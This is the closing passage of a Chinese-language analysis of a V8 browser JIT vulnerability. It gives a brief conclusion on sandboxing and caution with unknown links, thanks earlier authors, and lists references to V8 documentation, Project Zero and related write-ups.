由于JIT优化机制的存在,出现类似于这种类型的漏洞一定还是存在的,但是这种漏洞是无法绕过沙箱的,所以用户开启沙箱使用浏览器可以在很大程度上防止恶意代码的攻击,但仍有一些漏洞是可以绕过沙箱对宿主机进行攻击,这就需要我们对不明链接保持谨慎的习惯,这样就可以很好的避免0day浏览器漏洞对我们的损害。

该文章的成型参考了很多篇优秀的文章[123],感谢师傅们的开源精神,我也会将更多我的漏洞分析过程公开出来,为技术分享的氛围贡献一点绵薄之力。

五、参考

[1]. https://mp.weixin.qq.com/s/O81Kw-ujcbjY_1S6dFKpxQ

[2]. https://github.com/r4j0x00/exploits/tree/master/chrome-0day

[3]. https://mp.weixin.qq.com/s/yeu9IZSNrp1f_lK5oIdL9A

[4]. https://www.ecma-international.org/publications-and-standards/standards/ecma-262/

[5]. https://v8.dev/blog/elements-kinds

[6]. https://googleprojectzero.blogspot.com/2021/01/in-wild-series-chrome-infinity-bug.html

[7]. https://bugs.chromium.org/p/v8/issues/detail?id=6380

[8]. https://blog.infosectcbr.com.au/2020/02/pointer-compression-in-v8.html

[9]. https://v8.dev/blog/pointer-compression

 Comments